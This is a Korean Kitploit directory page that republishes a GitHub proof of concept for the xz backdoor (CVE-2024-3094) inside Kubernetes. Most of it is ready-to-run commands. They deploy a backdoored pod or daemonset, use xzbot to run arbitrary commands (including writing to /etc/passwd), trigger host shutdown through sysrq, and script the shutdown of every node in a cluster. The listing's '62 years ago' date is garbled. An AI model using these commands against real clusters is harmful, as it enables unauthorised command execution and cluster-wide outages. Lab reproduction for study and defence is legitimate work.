Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/shefirot/cve-2024-3094
Vulnerability AnalysisExploitationPenetration TestingCloud SecurityLearning & EducationContainer Escape
GitHubshefirot/cve-2024-3094

CVE-2024-3094

K8s 클러스터 내부에서 CVE-2024-3094 취약점을 테스트하는 기본 POC

저장소 보기
62년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-3094

K8s 클러스터 내부에서 CVE-2024-3094 취약점을 테스트하기 위한 기본 POC

❗ 면책 조항 ❗

교육 목적으로만 사용하십시오. 저자는 이 소프트웨어 사용으로 인한 어떠한 손해에도 책임을 지지 않습니다.

설명

취약한 포드를 배포하고 그 취약점을 악용하여 포드 내부에서 명령을 실행해 보겠습니다. 보안상의 이유로 동일한 네트워크 내에서 수행하며, 취약한 포드를 인터넷에 노출하지는 않지만 개념은 동일합니다.

이 취약점을 이용하면 포드가 보안 컨텍스트로 실행 중이더라도 포드 내부에서 명령을 실행할 수 있습니다. 예를 들어 포드가 실행 중인 호스트를 종료할 수도 있습니다.

해당 취약점이 단일 포드에서 실행되는 경우 호스트를 종료하여 해당 호스트에서 실행 중인 모든 서비스를 일시적으로 사용 불가능하게 만들 수 있습니다. 그러나 취약점이 데몬셋(daemonset)으로 실행되는 경우, 해당 데몬셋을 실행 중인 모든 호스트를 종료할 수 있으며, 클러스터 전체를 종료할 수도 있습니다.

요구 사항

  • K8s 클러스터가 배포되어 있어야 합니다
  • kubectl이 설치되어 있어야 합니다
  • K8s 클러스터에 액세스할 수 있어야 합니다
  • Go가 설치되어 있어야 합니다

사용 방법

먼저, 클러스터에 xzbots를 설치합니다.

root@kitploit:~
go install github.com/amlweems/xzbot@latest

리포지토리를 다운로드하고 취약한 deployment/daemonset을 배포합니다.

root@kitploit:~
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Or daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
root@kitploit:~
# Get the pod name
kubectl -n vulnes get pods

# Port forward the pod
kubectl -n vulnes port-forward <pod-name> 2225:22

# Execute command, for example write in /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'

# Check the /etc/passwd file
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd

계속해서 호스트를 종료합니다.

root@kitploit:~
# Enable sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'

# Shutdown the host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'

데몬셋을 실행 중인 모든 호스트를 종료할 수도 있습니다.

root@kitploit:~
source shutdown_nodes.sh

알려진 문제

1. 연결 거부

모든 호스트를 종료하는 루프를 실행할 때 다음 오류가 발생하면:

root@kitploit:~
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused

포트 포워드가 준비될 시간을 더 주세요. 루프에서 sleep 시간을 늘릴 수 있습니다.

추가 정보

사용된 컨테이너 이미지는 리포지토리에 있는 dockerfile로 생성되었습니다. 이미지를 생성하여 자신의 레지스트리에 푸시할 수 있습니다.

liblzma.so.5.6.0.patch 라이브러리를 생성하려면 참조에 있는 amlweems 리포지토리를 사용할 수 있습니다.

참조

amlweems 리포지토리

r0binak 리포지토리

도구 다운로드